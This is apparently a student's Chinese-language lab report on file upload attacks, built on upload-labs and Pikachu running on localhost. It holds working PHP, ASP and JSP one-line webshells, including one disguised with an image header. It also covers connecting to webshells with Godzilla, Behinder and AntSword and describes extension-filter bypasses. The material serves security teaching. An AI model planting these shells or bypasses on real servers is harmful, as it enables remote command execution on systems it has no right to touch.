目录
一、要求
1. 文件上传防御手段及绕过手段总结
2. 文件上传常用一句话木马
3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
4. 文件上传无回显如何查找webshell地址
5. 文件上传表单的无参/有参情况下构造表单 -- 加分项
6. upload-labs靶场通关第6-第10关
二、内容与步骤记录
(一)文件上传防御手段及绕过手段
1.防御手段:
(1)前端校验:通过JavaScript在前端对上传的文件类型进行检查,防止恶意文件上传。例如,通过定义一个前端的白名单来限制上传的文件类型。
(2)黑名单检查:在服务器端创建一个黑名单,检查上传的文件名后缀是否在黑名单中,如果在则拒绝上传。
(3)MIME类型检查:在服务端检查content-type的类型,确保上传的文件类型在预定义的白名单内。
2.绕过手段:
(1)抓包修改:利用网络抓包工具修改上传文件的MIME类型或后缀名,绕过前端的验证。
(2)禁用JavaScript:直接在浏览器上禁用JavaScript,从而绕过前端的文件类型检查。
(3)修改MIME类型:对content-type进行修改,修改成白名单内的类型,从而绕过服务端的MIME类型检查。
(4)利用服务器配置漏洞:利用Apache解析漏洞、IIS解析漏洞等,通过发送畸形数据包或利用服务器配置的缺陷来绕过服务端的黑名单检查。
(5)大小写绕过:利用大小写的不敏感特性,如将大写的后缀名字来进行绕过。
(二)文件上传常用一句话木马
在文件上传攻击中,常用的一句话木马是攻击者通过上传恶意脚本文件(如PHP、ASP、JSP等)到目标服务器上,利用这些脚本执行任意命令或代码。
1. PHP一句话木马
(1)<?php @eval($_POST['cmd']); ?>
这段代码使用eval()函数执行通过POST请求传递的代码或命令。
(2)<?php @assert($_POST['cmd']); ?>
assert()函数在PHP中用于评估字符串,如果传入的是PHP代码,它会被执行。
(3)<?php system($_GET['cmd']); ?>
该代码通过GET请求接收命令并使用system()函数执行。
(4) GIF89a <?php @eval($_POST['cmd']); ?>
这是将PHP代码嵌入到图片文件中,使得文件在上传后看起来像一个合法的图片,但实际上传的是一个PHP脚本。
2. ASP一句话木马
<%eval request("cmd")%>
这段代码使用eval函数执行通过request对象传入的参数。
3. JSP一句话木马
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
这段代码使用Runtime.getRuntime().exec()方法来执行通过请求传入的系统命令。
(三) 课中所讲的三种webshell管理工具的使用方法
1.哥斯拉godzilla
哥斯拉是一个基于流量加密的Webshell管理工具,具备多种Payload、加密器和内置插件,能绕过静态查杀和流量WAF
(1)下载安装
网址:https://github.com/BeichenDream/Godzilla
双击运行下载好的godzilla.jar文件,第一次打开会在同目录下生成data.db数据库存放数据
打开就可以执行
(2)使用步骤
生成木马
打开哥斯拉,“管理”->“生成”,按图所示生成一个木马。
选择文件生成路径并设置文件名,成功生成木马文件,打开看一下生成的木马文件,其实就是php的一句话木马。
上传文件
通过使用burp拦截数据包修改内容,实现绕过,回到浏览器,可以看到木马已经上传成功了。
开始连接
回到哥斯拉,“目标”->“添加”,填写里面的内容。要和这个木马生成时候选的的选项保持一致,即http://localhost:801/pikachu-master/vul/unsafeupload/uploads/test.php
可以先“测试连接”,看是否有出错,提示“success”了再“添加”。
选中目标,鼠标右键->“进入”,就可以看到内容了。
2.冰蝎
生成木马
点击左上角的传输协议,然后选择default_aes协议,点击生成服务端,即可创建server服务端文件,同时生成木马文件
上传文件
通过使用burp拦截数据包修改内容,实现绕过,回到浏览器,可以看到木马已经上传成功了。
然后在工具页面,鼠标右击新增shell,确定木马文件上传的URL、上传的脚本类型、生成脚本的协议,使用冰蝎内置的密码配置完成即可
开始连接
启用代理,开始抓包
3.蚁剑
下载安装
打开加载器(AntSword-Loader -v4.0.3-win32-x64),双击AnSword.exe
加载器配置核心代码
点击初始化,选择核心代码所在的文件位置
配置后重新启动
空白处鼠标右键–>添加数据–>URL为目标地址,本次还是使用http://localhost:801/pikachu-master/vul/unsafeupload/uploads/test.php
开始连接
启动代理即可在bp上抓包
(四)文件上传无回显如何查找webshell地址
1.常见上传目录探测
(1)推测目录结构:根据目标网站的常见文件目录结构,推测文件可能被上传的目录,例如/uploads/, /images/, /files/, /attachments/等。
(2)遍历文件路径:使用字典工具(如dirb、dirbuster、gobuster等)遍历可能的目录和文件名,寻找上传的Webshell文件。
2.目录扫描工具
(1)使用Burp Suite、OWASP ZAP等工具的目录扫描功能,结合自定义字典进行扫描。
(2)可以使用工具如dirsearch,通过列举常见文件名和目录名进行猜测。
3.日志分析
(1)如果有权限查看服务器日志,可以分析日志文件(如access.log、error.log)来查看是否有上传的文件访问记录。
(2)查找文件上传请求的相关日志,查看文件是否成功上传以及上传位置。
4.自动化工具
(1)使用工具如Burp Suite中的Intruder模块,结合自定义字典和条件(例如日期、时间戳、随机数等),进行自动化测试和猜测。
(2)使用Fuzzing工具,对URL路径进行自动化模糊测试。
(五)文件上传表单的无参/有参情况下构造表单
1.无参文件上传表单
无参的文件上传表单通常只包含文件本身,不需要附加的其他参数。其基本格式如下:
<form action="upload_url" method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file">
<input type="submit" value="Upload File">
</form>
解释:
- action="upload_url":指定文件上传的目标URL,本身并不是一个具体的文件名
- method="post":使用POST方法提交表单
- enctype="multipart/form-data":设置表单的编码类型为multipart/form-data,以便上传文件
- <input type="file" name="uploaded_file">:用于选择文件的输入框,name属性指定服务器端接收文件的变量名称
- <input type="submit" value="Upload File">:提交按钮
2.有参文件上传表单
有参的文件上传表单除了上传文件外,还包括其他的参数,如文件描述、用户ID等。其格式如下:
<form action="upload_url" method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file">
<input type="text" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="submit" value="Upload File">
</form>
解释:
- <input type="text" name="param1" value="value1">:附加文本参数,可以根据需求添加更多参数
- <input type="hidden" name="param2" value="value2">:隐藏的参数,通常用于传递固定或敏感信息
*可以使用Burp Suite的Proxy功能拦截上传请求,修改请求中的参数或文件名,然后Forward,实现构造并提交文件上传表单
(六)upload-labs靶场通关第6-第10关
1.环境准备
下载upload-labs源码
网址:https://codeload.github.com/c0ny1/upload-labs/zip/refs/heads/master
把解压后的文件转移到WWW目录
打开 PHPStudy,点击网址,点击创建网站,域名输入upload-labs-master,端口号改为别的避免冲突。
创建完成,打开网站
2.靶场挑战
Pass06(大小写绕过)
后缀大小写是通过服务端未将后缀进行统一的格式转换,导致可以上传PHP的文件,同时由于Windows系统对后缀大小写并不敏感,所以当在写PHP的改成Php就会被当作PHP进行解析。
查看源代码发现没有对大小写进行限制
所以我们开启抓包
将后缀名改为大写
上传成功
Pass07(空格绕过)
空格绕过其实就是利用了Windows对文件和文件名的限制,当将空格放在结尾的时候,就会触发操作系统的命名规范问题,所以在生成文件的时候,添加在结尾的空格就会被去除。
查看源代码,发现并未对空格进行限制,那么我们可以在后缀添加一个空格进行绕过
开启抓包
添加空格
上传成功
Pass08(点绕过)
点绕过和空格绕过是一样的,都是利用操作系统的特性来进行解析绕过。
查看源代码,发现发现少了删除文件名末尾的点
开始抓包
在php文件末尾加上点
成功上传
Pass09(::$$DATA绕过)
在window的时候如果文件名加上::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
通过源码发现并未对::$DATA进行检测。可以在后面添加::$DATA进行绕过。
开始抓包
添加::$DATA
上传成功
Pass10
通过源码发现本关之前所有的绕过思路都被过滤了,但是同时我们也能发现,所有的过滤都是一次的,并未对其进行循环过滤。也就是说源码中提到的删除空格,删除点都是只删除一次,那么可以在数据包中将php后缀添加. .,形成.php. .,由于只验证一次,所以删除一个点和一个空格后就不再删除了。
开始抓包
添加. .
上传成功
三、思考与总结
pass11但应该是pass10
好像因为奇怪的原因,我的upload靶场和网上普遍呈现出来的upload靶场顺序的有点出入,所以在这里补一个应该属于要求中一环的pass10。
通过源码发现,若上传的文件后缀在禁止的列中,那么就将后缀替换为空,而这里又是只过滤一次,那么就可以通过双写进行绕过。
开始抓包
修改后缀
上传成功